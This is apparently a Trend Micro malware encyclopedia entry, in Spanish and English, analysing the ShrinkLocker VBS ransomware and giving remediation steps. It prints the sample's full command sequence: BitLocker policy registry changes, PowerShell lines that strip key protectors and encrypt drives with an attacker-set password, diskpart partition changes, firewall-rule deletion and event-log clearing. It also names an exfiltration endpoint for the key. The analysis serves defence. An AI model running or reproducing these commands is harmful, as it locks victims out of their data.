Análisis realizado por : John Rainier Navato   

 Alias

Generic.VBS.ShrinkLocker.A.EABA5996 (BITDEFENDER)

 Plataforma:

Windows

 Riesgo general:
 Potencial de destrucción:
 Potencial de distribución:
 Infección divulgada:
 Revelación de la información:
Bajo
Medio
High
Crítico

  • Tipo de malware
    Ransomware

  • Destructivo?
    No

  • Cifrado
    No

  • In the Wild:

  Resumen y descripción

Canal de infección Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Detalles técnicos

Tamaño del archivo 41,403 bytes
Tipo de archivo VBS
Residente en memoria No
Fecha de recepción de las muestras iniciales 27 May 2024
Carga útil Collects system information, Connects to URLs/IPs, Displays windows, Encrypts files, Modifies system registry

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • bcdboot {Boot Drive}:\windows /s {New Drive} → reinstall the boot files on the new primary partitions
  • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f
  • ServerManagerCmd -install BitLocker -allSubFeatures
  • powershell.exe -Command Install-WindowsFeature BitLocker -IncludeAllSubFeature -IncludeManagementTools
  • powershell.exe -Command "$protectors = (Get-BitLockerVolume -MountPoint {Target Drive}).KeyProtector; if ($protectors -ne $null) { foreach ($protector in $protectors) { Remove-BitLockerKeyProtector -MountPoint {Target Drive} -KeyProtectorId $protector.KeyProtectorId } }"
  • powershell.exe -Command $a=ConvertTo-SecureString "'{Bitlocker Paassword}'" -asplaintext -force;Enable-BitLocker {Target Drive} -s -qe -pwp -pw $a
  • powershell.exe -Command Resume-BitLocker -MountPoint {Target Drive}
  • wevtutil -cl "Windows PowerShell"
  • netsh advfirewall set allprofiles state on
  • netsh advfirewall firewall delet rule name=all
  • schtasks /Delete /TN "copy" /F
  • schtasks /Delete /TN "disk" /F

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 1

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
scforceoption = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseAdvancedStartup = 1

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableBDEWithNoTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPM = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKey = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKeyPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableNonTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePartialEncryptionKey = 2

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePIN = 2

(Note: The default value data of the said registry entry is 0.)

Robo de información

Recopila los siguientes datos:

  • Hard Drive Used Space
  • Hard Drive Free Space
  • Hard Drive Label
  • Total RAM
  • Used RAM
  • Available RAM
  • Computer Name
  • Available Fixed Drives
  • Generated Bitlocker Encryption Key
  • Network Performance

Información sustraída

Este malware envía la información recopilada a la siguiente URL a través de HTTP POST:

  • https://{BLOCKED}ted-eating-meals-top.trycloudflare.com/updatelog

Otros detalles

Hace lo siguiente:

  • It terminates itself if the current domain is different from its target domain.
  • It terminates and deletes itself if the name of the operating system contains “xp”, “2000”, “2003”, or “vista”.
  • It issues the following commands to diskpart to do the following:
    • Shrink the size of non-boot partitions by 100 MB
      • Select Volume {Target Drive}
      • shrink desired=100
      • exit
    • Split the unallocated space into new 100 MB primary partitions. Format these partitions with the override parameter, assign a file system and a drive letter to each. Activate these partitions.
      • Select Volume {Target Drive}
      • create partition primary size=100
      • format quick recommended override
      • assign
      • active
      • exit
    • Remove the drive letter from the selected partition.
      • Select Volume {New Drive}
      • remove
      • exit
  • It starts the BitLocker Drive Encryption Service (BDESVC) if it is not running.
  • It changes the boot drive label into the attacker’s email.
  • It deletes the following files if the computer name is "MWIDC001":
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\Logon.vbs
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\disk.vbs
  • It disables BitLocker's encryption key protector and deletes them. It then allows for a numerical password to be used as a protector and for encryption to be turned on.
  • It generates a random encryption key for Bitlocker using the following information as seed:
    • Pre-specified characters
    • Hard Drive Used Space
    • Hard Drive Free Space
    • Total RAM
    • Used RAM
    • Available RAM
    • Network Performance
  • It enables Bitlocker on the drives found in the affected machine using its generated encryption key.
  • It shows the following prompt when the affected machine reboots:

  Soluciones

Motor de exploración mínimo 9.800
Primer archivo de patrones de VSAPI 19.458.02
Primera fecha de publicación de patrones de VSAPI 10 de julio de 2024
Versión de patrones OPR de VSAPI 19.459.00
Fecha de publicación de patrones OPR de VSAPI 11 de julio de 2024

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Restore encrypted files from backup.

Step 3

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.VBS.SHRINKLOCKER.RG En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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